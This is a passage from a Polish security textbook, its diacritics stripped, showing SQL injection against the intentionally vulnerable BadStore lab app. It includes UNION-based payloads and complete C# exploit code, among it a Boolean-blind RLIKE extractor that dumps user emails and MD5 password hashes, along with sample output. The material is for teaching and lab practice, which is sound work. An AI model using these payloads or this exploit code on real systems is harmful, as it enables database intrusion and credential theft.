aplikacji webowych jest tabela danych u ytkowników. Jak mo na zobaczy  na listin-
gu 2.33, z atwo ci  mo na u y  opisanej wcze niej techniki iniekcji SQL UNION
w celu wy wietlenia z tabeli u ytkowników (o nazwie usersdb) nazw u ytkowni-
ków i ich skrótów hase . Do tego celu wystarcz  jedno danie i jeden adunek.

Listing 2.33. Ten adunek pobiera z bazy danych BadStore adresy e-mail i has a oddzielone
markerami z lewej, w rodku i z prawej strony

searchquery=fdas'+UNION+ALL+SELECT+NULL, NULL, CONCAT(0x716b717671, email,
0x776872786573, passwd,0x71767a7a71), NULL+FROM+badstoredb.userdb#

Je li iniekcja jest pomy lna, wyniki powinny pojawi  si  na stronie WWW w ta-
beli towarów.

Wykorzystywanie eksploita bazuj cego na instrukcji UNION
programowo
Przyjrzyjmy si  teraz, jak mo emy wykorzysta  takiego eksploita programowo
przy u yciu j zyka C# i klas obs ugi HTTP. Umieszczaj c adunek pokazany na
listingu 2.33 w parametrze searchquery, powinni my zobaczy  tabel  towarów
na stronie WWW wype nion  nazwami u ytkowników i skrótami hase  zamiast
nazwami rzeczywistych towarów. Wystarczy tylko stworzy  jedno danie HTTP,
a nast pnie u y  wyra enia regularnego do wyci gni cia z odpowiedzi HTTP
serwera adresów e-mail i skrótów hase  umieszczonych pomi dzy znacznikami.
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Utworzenie znaczników do wyszukania nazw u ytkowników
i hase
Po pierwsze, nale y utworzy  znaczniki dla wyra e  regularnych, tak jak pokaza-
no na listingu 2.34. Znaczniki te wykorzystamy do wydzielenia warto ci zwróconych
z bazy danych podczas iniekcji SQL. Chcemy u y  ci gów wygl daj cych na loso-
we — takich, których prawdopodobie stwo znalezienia w kodzie ród owym
HTML jest niskie. Dzi ki temu wyra enie regularne pobierze z kodu HTML zwró-
conego w odpowiedzi HTTP tylko interesuj ce nas nazwy u ytkowników i skróty
hase .

Listing 2.34. Utworzenie znaczników, które b d  u yte w adunku ataku iniekcji SQL
bazuj cym na instrukcji UNION

string frontMarker = "FrOnTMaRker";
string middleMarker = "mIdDlEMaRker";
string endMarker = "eNdMaRker";
string frontHex = string. Join("", frontMarker. Select
(c => ((int)c).ToString("X2")));

string middleHex = string.Join("", middleMarker.Select
(c => ((int)c).ToString("X2"))); string endHex = string.
Join("", endMarker.Select(c => ((int)c).ToString("X2")));

Na pocz tek utworzymy trzy ci gi do wykorzystania jako znacznik pocz tkowy
, rodkowy  i ko cowy . Wykorzystamy je do odszukania i oddzielenia

nazw u ytkowników i hase  pobranych z bazy danych w odpowiedzi HTTP. Musimy
te  stworzy  szesnastkowe reprezentacje znaczników, które znajd  si  w adunku.
Aby to zrobi , trzeba troch  przetworzy  ka dy znacznik.

Do iterowania po poszczególnych znakach w ci gu znacznika u yli my metody
LINQ Select() , dokonali my konwersji ka dego znaku na jego szesnastkow
reprezentacj  i zwrócili my tablic  przetworzonych danych. W tym przypadku
metoda zwraca tablic  ci gów 2-bajtowych. Ka dy z nich jest szesnastkow  repre-
zentacj  znaków w oryginalnym znaczniku.

W celu utworzenia na podstawie tej tablicy kompletnego szesnastkowego
ci gu u ywamy metody Join() , aby scali  poszczególne elementy w tablicy
i stworzy  szesnastkowe ci gi znaków reprezentuj ce poszczególne znaczniki.

Budowanie adresu URL z adunkiem
Teraz musimy zbudowa  adres URL i adunek w celu utworzenia dania HTTP,
jak pokazano na listingu 2.35.

Listing 2.35. Tworzenie adresu URL z adunkiem wewn trz metody Main() eksploita

string url = "http://" + args[0] + "/cgi-bin/badstore.cgi";
string payload = "fdsa' UNION ALL SELECT";
payload += " NULL, NULL, NULL, CONCAT(0x"+frontHex+", IFNULL(CAST(email AS";
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payload += " CHAR), 0x20),0x"+middleHex+", IFNULL(CAST(passwd AS";
payload += " CHAR), 0x20), 0x"+endHex+") FROM badstoredb.userdb# ";

url += "?searchquery=" + Uri. EscapeUriString
(payload) +  "&action=search";

Utworzyli my adres URL  w celu wygenerowania dania przy u yciu
pierwszego argumentu  przekazanego do eksploita: jest to adres IP egzemplarza
aplikacji BadStore. Po utworzeniu bazowego adresu URL tworzymy adunek,
który wykorzystamy do zwrócenia nazw u ytkowników i skrótów hase  z bazy
danych, w tym trzech ci gów szesnastkowych utworzonych ze znaczników w celu
oddzielenia nazw u ytkowników od hase . Jak wspomniano wcze niej, zakodowali-
my znaczniki w postaci szesnastkowej po to, aby w przypadku, gdyby znaczniki

zosta y wy wietlone bez danych, które nas interesuj , nasze wyra enie regularne
nie dopasowa o ich przypadkowo i nie zwróci o mieciowych danych. Na koniec
scalamy adunek z adresem URL  przez do czenie wra liwych parametrów ci gu
kwerendy do adunku wewn trz bazowego adresu URL. Aby mie  pewno , e a-
dunek nie zawiera adnych znaków unikatowych dla protoko u HTTP, przed wsta-
wieniem go do ci gu kwerendy przekazujemy go do metody EscapeUriString() .

Wysy anie dania HTTP
Teraz jeste my gotowi do wys ania dania i odebrania odpowiedzi HTTP zawie-
raj cej nazwy u ytkowników i skróty hase  pobrane z bazy danych za pomoc
adunku iniekcji SQL (patrz listing 2.36).

Listing 2.36. Tworzenie dania HTTP i czytanie odpowiedzi z serwera

HttpWebRequest request = (HttpWebRequest)WebRequest. Create(url);
string response = string.Empty;
using (StreamReader reader = new StreamReader
(request.GetResponse().GetResponseStream()))

response = reader. ReadToEnd();

Stworzyli my proste danie GET poprzez wygenerowanie nowego, zbudowa-
nego wcze niej egzemplarza HttpWebRequest  z adresem URL zawieraj cym
adunek iniekcji SQL. Nast pnie zadeklarowali my zmienn  tekstow  do prze-

chowywania odpowiedzi i domy lnie przypisali my do niej pusty ci g znaków.
W kontek cie instrukcji using stworzyli my egzemplarz obiektu StreamReader 
i odczytali my odpowied   do zmiennej response. Teraz, gdy mamy odpowied
z serwera, mo emy stworzy  wyra enie regularne, wykorzystuj c znaczniki do
wyszukania nazw u ytkowników i hase  w odpowiedzi HTTP, tak jak pokazano
na listingu 2.37.
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Listing 2.37. Dopasowywanie odpowiedzi serwera do wyra enia regularnego
w celu wydobycia warto ci z bazy danych

    Regex payloadRegex = new Regex(frontMarker + "(.*?)
    " + middleMarker + "(.*?)" + endMarker);
    MatchCollection matches = payloadRegex. Matches(response);
    foreach (Match match in matches)
    {
        Console. WriteLine("U ytkownik: " + match.
        Groups [1].Value + "\t ");
        Console.Write("Skrót has a: " + match. Groups[2].Value);
    }
}

W kodzie z tego listingu wyszukujemy i wy wietlamy warto ci pobrane z odpo-
wiedzi HTTP w wyniku przeprowadzonego ataku iniekcji SQL. Najpierw w celu
stworzenia wyra enia regularnego u yli my klasy Regex  (z przestrzeni nazw
System.Text.RegularExpressions). To wyra enie regularne zawiera dwie grupy
wyra eniowe przechwytuj ce nazw  u ytkownika i skrót has a z dopasowanego ci -
gu oraz korzystaj ce ze zdefiniowanych wcze niej znaczników przedniego, rodko-
wego i ko cowego.

Nast pnie wywo ali my metod  Matches()  na wyra eniu regularnym, prze-
kazuj c do niej w roli argumentu dane otrzymane w odpowiedzi. Metoda Matches()
zwraca obiekt MatchCollection, po którym mo na iterowa  za pomoc  p tli foreach.
W ten sposób pobieramy z odpowiedzi ka dy ci g pasuj cy do wyra enia regular-
nego utworzonego wcze niej przy u yciu wygenerowanych znaczników.

Iteruj c po ka dym dopasowanym wyra eniu, wy wietlamy nazwy u ytkowni-
ków i skróty hase . Korzystaj c z metody WriteLine()  do wy wietlania warto ci,
budujemy ci g znaków za pomoc  grup wyra eniowych przechwytuj cych nazwy
u ytkowników  i has a , które s  przechowywane we w a ciwo ci Groups wy-
ra enia dopasowania.

Uruchomienie eksploita powinno spowodowa  wy wietlenie warto ci zamiesz-
czonych na listingu 2.38.

Listing 2.38. Przyk adowy wynik dzia ania eksploita bazuj cego na instrukcji UNION

U ytkownik: AAA_Test_User         Skrót has a:
098F6BCD4621D373CADE4E832627B4F6

U ytkownik: admin                 Skrót has a:
5EBE2294ECD0E0F08EAB7690D2A6EE69

U ytkownik: joe@supplier.com      Skrót has a:
62072d95acb588c7ee9d6fa0c6c85155

U ytkownik: big@spender.com       Skrót has a:
9726255eec083aa56dc0449a21b33190

--ciach--
U ytkownik: tommy@customer.net   Skrót has a:
7f43c1e438dc11a93d19616549d4b701
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Jak wida , u ywaj c iniekcji SQL bazuj cej na instrukcji UNION, za pomoc
pojedynczego dania uda o si  wydoby  wszystkie nazwy u ytkowników i skróty
hase  z tabeli userdb bazy danych MySQL aplikacji BadStore.

Wykorzystywanie luk SQL typu Boolean-blind
Iniekcja SQL Boolean-blind, znana równie  jako iniekcja bazuj ca na typie Boolean,
to atak, w którym napastnik nie uzyskuje informacji bezpo rednio z bazy danych,
ale mo e wyodr bni  informacje po rednio — zazwyczaj po 1 bajcie, poprzez
zadawanie pyta  typu „prawda czy fa sz”.

Jak dzia aj  iniekcje SQL typu Boolean-Blind?
Skuteczne wykorzystanie luki za pomoc  iniekcji SQL typu Boolean-blind wymaga
nieco wi cej kodu oraz — ze wzgl du na liczb  potrzebnych da  HTTP —
znacznie wi cej czasu w porównaniu z iniekcj  bazuj c  na instrukcji UNION.
Iniekcje tego rodzaju s  równie  znacznie „g o niejsze” po stronie serwera ni  eks-
ploity bazuj ce na instrukcji UNION i mog  pozostawia  w logach znacznie wi cej
dowodów.

W przypadku wykonywania iniekcji SQL Boolean-blind nie otrzymujemy
bezpo rednich informacji z aplikacji webowej. Zamiast tego w celu zebrania infor-
macji z bazy danych bazujemy na metadanych — na przyk ad zmianach zachowania.
Na przyk ad, jak pokazano na listingu 2.39, za pomoc  s owa kluczowego RLIKE
bazy danych MySQL, które dopasowuje warto  w bazie danych z wykorzystaniem
wyra enia regularnego, mo emy spowodowa  wy wietlenie b du w aplikacji
BadStore.

Listing 2.39. Przyk adowy adunek iniekcji SQL Boolean-blind ze s owem kluczowym
RLIKE, który powoduje b d aplikacji BadStore

searchquery=fdsa'+RLIKE+0x28+AND+'

Po przekazaniu do aplikacji BadStore instrukcja RLIKE spróbuje sparsowa
ci g zakodowany szesnastkowo jako wyra enie regularne, co spowoduje wyst pie-
nie b du (patrz listing 2.40), ze wzgl du na to, e przekazany ci g znaków jest
symbolem specjalnym w wyra eniach regularnych. Znak otwieraj cego nawiasu [(]
(szesnastkowo 0x28) oznacza pocz tek grupy wyra eniowej, której u ywali my
równie  do dopasowywania nazw u ytkowników i skrótów hase  w eksploicie ba-
zuj cym na s owie kluczowym UNION. Otwieraj cemu nawiasowi musi odpowia-
da  nawias zamykaj cy [)]. W przeciwnym razie sk adnia wyra enia regularnego
b dzie nieprawid owa.

Listing 2.40. B d instrukcji RLIKE po przekazaniu nieprawid owego wyra enia regularnego

Got error 'parentheses not balanced' from regexp
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Nawiasy nie s  sparowane, poniewa  brakuje nawiasu zamykaj cego. Teraz
wiemy, e mo emy skutecznie kontrolowa  zachowanie aplikacji BadStore za
pomoc  zapyta  SQL true i false, które powoduj  generowanie b du.

Tworzenie odpowiedzi prawda i fa sz za pomoc  RLIKE
W celu dokonania deterministycznego wyboru dobrych b d  z ych wyra e  regu-
larnych do sparsowania za pomoc  instrukcji RLIKE mo emy u y  instrukcji CASE
bazy danych MySQL (która zachowuje si  jak instrukcja case w j zykach podob-
nych do C). Na przyk ad kod z listingu 2.41 zwraca odpowied  true.

Listing 2.41. adunek RLIKE, który powinien zwróci  odpowied  true

searchquery=fdsa'+RLIKE+(SELECT+(CASE+WHEN+(1=1 )
+THEN+0x28+ELSE+0x41+END))+AND+'

Instrukcja CASE najpierw sprawdza, czy warunek 1=1  jest prawdziwy. Po-
niewa  to porównanie ma warto  true, to instrukcja zwraca znak 0x28 jako wyra e-
nie regularne do sparsowania przez RLIKE. Poniewa  ( nie jest prawid owym wyra-
eniem regularnym, aplikacja webowa zg asza b d. Je li zmodyfikujemy kryterium

instrukcji CASE 1=1 (wyra enie 1=1 ma warto  true) na 1=2, wtedy aplikacja webowa
przestanie zg asza  b d. Poniewa  wyra enie 1=2 ma warto  false, to aplikacja
zwraca warto  0x41 (wielka litera A w formacie szesnastkowym) do sparsowania
przez RLIKE i nie powoduje b du parsowania.

Poprzez zadawanie aplikacji webowej pyta  typu „prawda czy fa sz” (czy to
jest równe temu?) mo emy ustali , jak aplikacja si  zachowuje, a nast pnie na
podstawie tego zachowania okre li , czy odpowiedzi  na nasze pytanie by o true,
czy false.

U ycie s owa kluczowego RLIKE w celu dopasowania kryteriów
wyszukiwania

adunek z listingu 2.42 dla parametru searchquery powinien zwróci  odpowied
true (b d), poniewa  liczba wierszy w tabeli userdb jest wi ksza ni  1.

Listing 2.42. Przyk adowy adunek iniekcji SQL typu Boolean dla parametru searchquery

searchquery=fdsa'+RLIKE+(SELECT+(CASE+WHEN+((SELECT+LENGTH(IFNULL
(CAST(COUNT(*)

+AS+CHAR),0x20))+FROM+userdb)=1 )+THEN+0x41+ELSE+0x28+END))+AND+'

Za pomoc  instrukcji RLIKE i CASE mo emy sprawdzi , czy rozmiar tabeli userdb
w aplikacji BadStore wynosi 1. Instrukcja COUNT(*) zwraca warto  integer odpo-
wiadaj c  liczbie wierszy w tabeli. Mo emy u y  tej liczby, aby znacznie zmniej-
szy  liczb  da  potrzebnych do przeprowadzenia ataku.
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Je li zmodyfikujemy adunek tak, by ustala , czy liczba wierszy jest równa 2
zamiast 1 , wtedy serwer powinien zwróci  odpowied  true, która zawiera
b d z informacj  o niezrównowa onych nawiasach ("parentheses not balanced").
Dla przyk adu za ó my, e w tabeli userdb aplikacji BadStore jest 999 u ytkowni-
ków. Chocia  mo na by oczekiwa  konieczno ci wys ania co najmniej 1000 da
w celu ustalenia, czy liczba zwracana przez COUNT(*) by a wi ksza ni  999, to za
pomoc  ataku si owego mo emy sprawdzi  pojedyncze cyfry (wszystkie wyst -
pienia 9) znacznie szybciej ni  ca  liczb  (999). D ugo  liczby 999 wynosi trzy
(liczba 999 sk ada si  z trzech znaków). Gdyby zamiast próbowania ca ej liczby
999 próbowa  pojedynczo pierwsz , drug  i trzeci  cyfr , to ca  liczb  spraw-
dziliby my w zaledwie 30 daniach — do 10 da  na jedn  liczb .

Okre lenie i wy wietlenie liczby wierszy w tabeli userdb
Aby powy szy opis sta  si  odrobin  ja niejszy, spróbujmy napisa  metod  Main(),
która ustala, ile wierszy zawiera tabela userdb. Liczb  wierszy w tabeli userdb
mo emy okre li  za pomoc  p tli for pokazanej na listingu 2.43.

Listing 2.43. P tla for pobieraj ca liczb  wierszy w tabeli bazy danych z danymi u ytkowników

int countLength = 1;
for (;;countLength++)
{
    string getCountLength = "fdsa' RLIKE (SELECT (CASE WHEN ((SELECT";
    getCountLength += " LENGTH(IFNULL(CAST(COUNT(*) AS CHAR),0x20)) FROM";
    getCountLength += " userdb)="+countLength+") THEN 0x28
    ELSE 0x41 END))";
    getCountLength += " AND 'LeSo'='LeSo";

    string response = MakeRequest(getCountLength);
    if(response.Contains("parentheses not balanced"))
        break;
}

Zaczynamy z warto ci  countLength równ  zero, a nast pnie zwi kszamy t
zmienn  o 1 w ka dej iteracji p tli i sprawdzamy, czy odpowied  na danie zawiera
ci g "parentheses not balanced". Je li tak jest, to przerywamy p tl  for. Wtedy
countLength zawiera prawid ow  liczb  u ytkowników, która powinna wynosi  23.

Nast pnie pytamy serwer o liczb  wierszy w tabeli userdb, tak jak pokazano
na listingu 2.44.

Listing 2.44. Pobieranie liczby wierszy w tabeli userdb

List<byte> countBytes = new List<byte>();
for (int i = 1; i <= countLength; i++)
{
    for (int c = 48; c <= 58; c++)
    {
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        string getCount = "fdsa' RLIKE (SELECT
        (CASE WHEN ( ORD( MID((SELECT";
        getCount += " IFNULL(CAST(COUNT(*) AS CHAR), 0x20)
        FROM userdb) ,";
        getCount += i + ", 1 ))="+c +") THEN 0x28 ELSE 0x41 END)) AND '";
        string response = MakeRequest (getCount);

        if (response. Contains("parentheses not balanced"))
        {
            countBytes. Add((byte)c);
            break;
        }
    }
}

adunek SQL u yty na listingu 2.44 jest nieco ró ny od poprzednich adun-
ków SQL wykorzystywanych do odczytania liczby wierszy. U yli my funkcji SQL
ORD()  i MID() .

Funkcja ORD() konwertuje przekazane dane wej ciowe na typ integer, nato-
miast funkcja MID() zwraca okre lony podci g na podstawie indeksu pocz tkowego
i zwracanej d ugo ci. Korzystaj c z obu funkcji, mo emy pojedynczo wybiera
po jednym znaku z ci gu zwracanego przez instrukcj  SELECT i konwertowa  go
na liczb  ca kowit .

Dzi ki temu mo emy porówna  reprezentacj  integer bajtu w ci gu znaków
z warto ci  znaku, który testujemy w bie cej iteracji.

Funkcja MID() pobiera trzy argumenty: ci g znaków, z którego wybieramy
podci g , indeks pocz tkowy (który zaczyna si  od 1, a nie od 0, jak mo na by
oczekiwa )  oraz d ugo  podci gu do pobrania . Nale y zauwa y , e drugi
argument  funkcji MID() wynika z bie cej iteracji najbardziej zewn trznej
p tli for, w której zwi kszamy warto  zmiennej i a  do warto ci ustalonej w po-
przedniej p tli for. Argument ten wybiera nast pny znak w ci gu do przetestowa-
nia w kolejnej iteracji. W wewn trznej p tli for iterujemy po odpowiednikach
integer znaków ASCII od '0' do '9'. Poniewa  próbujemy uzyska  jedynie
liczb  wierszy w bazie danych, interesuj  nas tylko znaki reprezentuj ce cyfry.

Wewn trz adunku SQL podczas ataku iniekcji SQL typu Boolean zostan
u yte obie zmienne — zarówno i , jak i c . Zmienna i jest u ywana jako
drugi argument w funkcji MID(), który dyktuje pozycj  znaku w sprawdzanej warto-
ci z bazy danych. Zmienna c jest liczb  ca kowit , z któr  porównujemy wynik

funkcji ORD() konwertuj cej znak zwrócony przez funkcj  MID() na liczb  ca ko-
wit . Dzi ki temu mo emy iterowa  po wszystkich znakach w okre lonej warto-
ci w bazie danych i w ataku si owym próbowa  ustala  warto  znaku za pomoc

pyta  „prawda czy fa sz”.
Kiedy adunek zwróci b d "parentheses not balanced" , to wiemy, e

znak spod indeksu i jest równy warto ci zmiennej c z p tli wewn trznej. Wtedy
rzutujemy zmienn  c na byte i dodajemy do listy List<byte> , której egzemplarz
utworzyli my przed rozpocz ciem p tli. Na koniec przerywamy wewn trzn  p tl
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w celu iterowania po p tli zewn trznej, a po zako czeniu iteracji w p tli for
konwertujemy list  List<byte> na ci g znaków mo liwy do wy wietlenia.

Ten ci g znaków jest nast pnie wy wietlany na ekranie tak, jak pokazano na
listingu 2.45.

Listing 2.45. Konwersja ci gu znaków pobranego w ataku iniekcji SQL i wy wietlenie
warto ci liczby wierszy w tabeli

int count = int.Parse(Encoding.ASCII. GetString(countBytes.ToArray()));
Console.WriteLine("W tabeli userdb jest "+count+" wierszy");

W celu konwersji tablicy bajtów zwróconych przez wywo anie countBytes.
ToArray() na ci g czytelny dla cz owieka u yli my metody GetString()  (z klasy

Encoding.ASCII). Ten ci g znaków jest nast pnie przekazywany do metody
int.Parse(), która go parsuje i zwraca warto  integer (je li ci g znaków daje
si  skonwertowa  na liczb  ca kowit ). Ci g jest nast pnie wy wietlany za pomo-
c  wywo ania Console.WriteLine().

Metoda MakeRequest()
Jeste my ju  prawie gotowi na uruchomienie eksploita. Pozosta a jeszcze jedna
rzecz: potrzebujemy sposobu przesy ania adunków wewn trz p tli for. W tym
celu musimy napisa  metod  MakeRequest(), która przyjmuje jeden argument:
adunek do wys ania (patrz listing 2.46).

Listing 2.46. Metoda MakeRequest(), wysy aj ca adunek i zwracaj ca odpowied  z serwera

private static string MakeRequest(string payload)
{
    string url = "http://192.168.1.78/cgi-bin/badstore.
    cgi?action=search&searchquery=";
    HttpWebRequest request = (HttpWebRequest)
    WebRequest. Create(url+payload);

    string response = string.Empty;
    using (StreamReader reader = new StreamReader
    (request.GetResponse().GetResponseStream()))
        response = reader.ReadToEnd();

    return response;
}

Korzystaj c z adunku i adresu URL  egzemplarza aplikacji BadStore,
utworzyli my prosty obiekt HttpWebRequest  reprezentuj cy danie GET. Nast p-
nie za pomoc  obiektu StreamReader  przeczytali my odpowied  do ci gu zna-
ków i zwrócili my odpowied  do obiektu wywo uj cego. Teraz mo emy uruchomi
eksploita. Powinni my otrzyma  wynik podobny do pokazanego na listingu 2.47.
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Listing 2.47. Okre lenie liczby wierszy w tabeli userdb

W tabeli userdb jest 23 wierszy

Po uruchomieniu pierwszego fragmentu eksploita ustalili my, e w bazie danych
s  informacje o 23 u ytkownikach, dla których chcemy wydoby  nazwy i skróty
hase . Nast pny fragment eksploita b dzie wydobywa  w a ciwe nazwy u ytkowni-
ków i skróty hase .

Pobieranie d ugo ci warto ci
Zanim b dzie mo na wydoby  bajt po bajcie jakiekolwiek warto ci z kolumn w ba-
zie danych, trzeba ustali  d ugo ci tych warto ci. Sposób pobrania tych danych
pokazano na listingu 2.48.

Listing 2.48. Pobieranie d ugo ci okre lonych warto ci w bazie danych

private static int GetLength(int row , string column )
{
    int countLength = 0; for (;; countLength++)
    {
        string getCountLength = "fdsa' RLIKE (SELECT (CASE WHEN ((SELECT";
        getCountLength += " LENGTH(IFNULL(CAST( CHAR_LENGTH
        ("+column+") AS";
        getCountLength += " CHAR),0x20)) FROM userdb ORDER BY
        email LIMIT";
        getCountLength += row+",1)="+countLength+") THEN 0x28
        ELSE 0x41 END)) AND";
        getCountLength += " 'YIye'='YIye";

        string response = MakeRequest(getCountLength);

        if (response.Contains("parentheses not balanced")) break;
    }
}

Metoda GetLength() pobiera argumenty: wiersz bazy danych, z którego b dzie-
my wydobywa  warto  , i kolumn  bazy danych, w której ta warto  si  znaj-
duje . Do pobrania liczby wierszy w tabeli userdb wykorzystali my p tl  for
(patrz listing 2.49). Ale w przeciwie stwie do poprzednich adunków SQL skorzy-
stali my z funkcji CHAR_LENGTH()  zamiast LENGTH, poniewa  pobierane ci gi
mog  by  16-bitowymi a cuchami Unicode zamiast 8-bitowymi ci gami ASCII.
U yli my równie  klauzuli LIMIT , aby poinformowa , e chcemy wyci gn
warto ci z okre lonego wiersza zwróconego z ca ej tabeli users. Po pobraniu d ugo-
ci warto ci w bazie danych mo emy bajt po bajcie pobra  w a ciw  warto , tak

jak pokazano na listingu 2.49.
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Listing 2.49. Druga p tla w metodzie GetLength() pobiera w a ciw  d ugo  warto ci

List<byte> countBytes = new List<byte> ();
for (int i = 0; i <= countLength; i++)
{
    for (int c = 48; c <= 58; c++)
    {
        string getLength = "fdsa' RLIKE (SELECT
        (CASE WHEN (ORD(MID((SELECT";
        getLength += " IFNULL(CAST(CHAR_LENGTH(" + column + ")
        AS CHAR),0x20) FROM";
        getLength += " userdb ORDER BY email LIMIT " + row + ",1)," + i;
        getLength += ",1))="+c+") THEN 0x28 ELSE 0x41 END))
        AND 'YIye'='YIye";
        string response = MakeRequest(getLength);
        if (response. Contains("parentheses not balanced"))
        {
            countBytes. Add((byte)c);
            break;
        }
    }
}

Jak wida  na listingu 2.49, utworzyli my generyczn  list  List<byte>  do
przechowywania warto ci zebranych przez adunek, aby skonwertowa  je na licz-
by ca kowite i zwróci  do obiektu wywo uj cego. Korzystaj c z wywo ania Make
Request()  i adunku iniekcji SQL, wysy amy dania HTTP w celu spraw-

dzania bajtów w warto ci podczas iterowania po d ugo ci licznika. Je li odpo-
wied  zawiera komunikat o b dzie "parentheses not balanced" , to wiemy,
e adunek SQL przyj  warto  true. Oznacza to, e nale y zapisa  warto  zna-

ku c (znak, który zosta  dopasowany do i) jako typ byte , aby mo na by o
przekonwertowa  warto  List<byte> na ci g czytelny dla ludzi.

Ze wzgl du na to, e znale li my bie cy znak, nie musimy dalej testowa
okre lonego indeksu licznika. W zwi zku z tym przerywamy p tl  i przechodzimy
do nast pnego indeksu.

Teraz trzeba zwróci  warto  licznika i zako czy  metod , tak jak pokazano
na listingu 2.50.

Listing 2.50. Ostatni wiersz w metodzie GetLength(). Konwersja warto ci d ugo ci na typ
integer i jej zwrócenie

if (countBytes.Count > 0)
    return int.Parse(Encoding.ASCII. GetString(countBytes.ToArray()));
else
    return 0;
}
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Gdy ju  mamy bajty licznika, mo emy u y  metody GetString()  w celu
konwersji pobranych bajtów na ci g czytelny dla cz owieka. Ten ci g jest przeka-
zywany do wywo ania int.Parse()  i zwracany do obiektu wywo uj cego. Teraz
mo emy rozpocz  zbieranie w a ciwych warto ci z bazy danych.

Metoda GetValue () pobieraj ca warto ci z bazy danych
Aby zako czy  pisanie eksploita, potrzebna jest metoda odczytuj ca warto ci z bazy
danych. Przyk ad takiej metody — GetValue() — pokazano na listingu 2.51.

Listing 2.51. Metoda GetValue() pobieraj ca warto  okre lonej kolumny w okre lonym
wierszu

private static string GetValue(int row , string column , int length )
{
    List<byte> valBytes = new List<byte>();
    for (int i = 0; i <= length; i++)
    {
        for(int c = 32; c <= 126; c++)
        {
            string getChar = "fdsa' RLIKE (SELECT (CASE WHEN
            (ORD(MID((SELECT";
            getChar += " IFNULL(CAST("+column+" AS CHAR),0x20)
            FROM userdb ORDER BY";
            getChar += " email LIMIT "+row+",1),"+i+",1))="+c+")
            THEN 0x28 ELSE 0x41";
            getChar += " END)) AND 'YIye'='YIye";
            string response = MakeRequest(getChar);

            if (response.Contains( "parentheses not balanced"))
            {
                valBytes.Add((byte)c); break;
            }
        }
    }
    return Encoding.ASCII. GetString(valBytes.ToArray());
}

Metoda GetValue() wymaga trzech argumentów: wiersza bazy danych, z które-
go pobieramy dane , kolumny bazy danych, w której rezyduje warto  ,
i d ugo ci warto ci pobranej z bazy danych . Do przechowywania pobranych
bajtów warto ci tworzona jest nowa lista List<byte> .

W najbardziej zewn trznej p tli for  iterujemy po warto ciach od 32 do 126,
poniewa  32 jest najmniejsz  liczb  ca kowit , która odpowiada drukowalnemu
znakowi ASCII, natomiast 126 to warto  najwi ksza. Wcze niej, gdy pobierali-
my liczniki, iterowali my tylko po warto ciach od 48 do 58, poniewa  intereso-

wa y nas tylko numeryczne znaki ASCII.
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Podczas iterowania po tych warto ciach wysy amy adunek, który porównuje
bie cy indeks warto ci z bazy danych do bie cej warto ci zmiennej steruj cej
wewn trznej p tli for. Po zwróceniu odpowiedzi szukamy komunikatu o b dzie
"parentheses not balanced" . Je li go znajdziemy, to rzutujemy warto  bie cej
zmiennej steruj cej wewn trznej p tli na bajt i zapisujemy go na li cie bajtów.
W ostatnim wierszu metody konwertujemy t  list  na ci g znaków za pomoc
metody GetString()  i zwracamy nowy ci g do obiektu wywo uj cego.

Wywo ywanie metod i wy wietlanie warto ci
Pozostaje teraz wywo anie nowych metod GetLength() i GetValue() w metodzie
Main() i wy wietlenie warto ci pobranych z bazy danych. Jak wida  na listingu 2.52,
na ko cu metody Main() dodali my p tl  for, w której wywo ujemy metody
GetLength() i GetValue(), dzi ki czemu mo emy wyodr bni  adresy e-mail i skróty
hase  z bazy danych.

Listing 2.52. Dodana do metody Main() p tla for, która wykorzystuje metody GetLength()
i GetValue()

for (int row = 0; row < count; row++)
{
    foreach (string column in new string[] {"email", "passwd"})
    {
        Console.Write("Pobieranie d ugo ci szukanej warto ci... ");
        int valLength = GetLength(row, column);
        Console.WriteLine(valLength);

        Console.Write("Pobieranie warto ci... ");
        string value = GetValue(row, column, valLength);
        Console.WriteLine(value);
    }
}

Dla ka dego wiersza w tabeli userdb najpierw pobieramy d ugo   i warto  
pola email, a nast pnie warto  pola passwd (skrót MD5 has a u ytkownika).
Nast pnie wy wietlamy d ugo  pola i jego warto . Wyniki dzia ania eksploita
pokazano na listingu 2.53.

Listing 2.53. Wyniki dzia ania eksploita

W tabeli userdb jest 23 wierszy
Pobieranie d ugo ci szukanej warto ci... 13
Pobieranie warto ci... AAA_Test_User
Pobieranie d ugo ci szukanej warto ci... 32
Pobieranie warto ci... 098F6BCD4621D373CADE4E832627B4F6
Pobieranie d ugo ci szukanej warto ci... 5
Pobieranie warto ci...
admin
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Pobieranie d ugo ci szukanej warto ci... 32
Pobieranie warto ci... 5EBE2294ECD0E0F08EAB7690D2A6EE69
--ciach--
Pobieranie d ugo ci szukanej warto ci... 18
Pobieranie warto ci...tommy@customer.net
Pobieranie d ugo ci szukanej warto ci... 32
Pobieranie warto ci... 7f43c1e438dc11a93d19616549d4b701

Po wyznaczeniu liczby u ytkowników w bazie danych iterujemy po wszystkich
u ytkownikach i pobieramy z bazy danych nazwy u ytkowników i skróty hase .

Ten proces jest znacznie wolniejszy od dzia ania eksploita bazuj cego na
instrukcji UNION, z którego korzystali my wcze niej, ale iniekcje bazuj ce na instruk-
cji UNION nie s  zawsze dost pne. Zrozumienie dzia ania ataku iniekcji SQL bazuj -
cych na warto ciach Boolean ma kluczowe znaczenie dla skutecznego korzystania
z wielu iniekcji SQL.

Podsumowanie
W tym rozdziale zamieszczono wprowadzenie do fuzzowania i wykorzystywania luk
iniekcji SQL i XSS. Jak widzieli my, aplikacja BadStore zawiera liczne wra liwo ci
na iniekcje SQL, ataki XSS oraz inne luki w zabezpieczeniach. Wszystkie te luki
mo na wykorzysta  w nieco inny sposób. W niniejszym rozdziale zaimplementowa-
li my krótkie danie GET fuzzowania aplikacji w celu analizy parametrów ci gu
kwerendy pod k tem wra liwo ci na ataki XSS lub wyst powanie b dów mog cych
oznacza  zagro enie iniekcj  SQL. Wykorzystuj c elastyczn  i daj c  du e mo li-
wo ci klas  HttpWebRequest do wykonywania i pobierania da  HTTP i odpowiedzi
na nie, uda o si  nam ustali , e parametr searchquery u ywany do wyszukiwania
towarów w aplikacji BadStore jest zagro ony zarówno atakiem XSS, jak i iniekcj
SQL.

Po napisaniu prostego fuzzera dania GET przechwycili my danie HTTP
POST z aplikacji BadStore za pomoc  serwera proxy HTTP Burp Suite i przegl darki
Firefox, aby napisa  krótk  aplikacj  fuzzuj c  dania POST. Pos uguj c si  tymi
samymi klasami, jak w napisanym wcze niej fuzzerze da  GET, lecz z kilkoma
nowymi metodami, zdo ali my znale  jeszcze wi cej mo liwych do wykorzystania
zagro e  iniekcjami SQL.

Nast pnie przeszli my do bardziej skomplikowanych da , takich jak dania
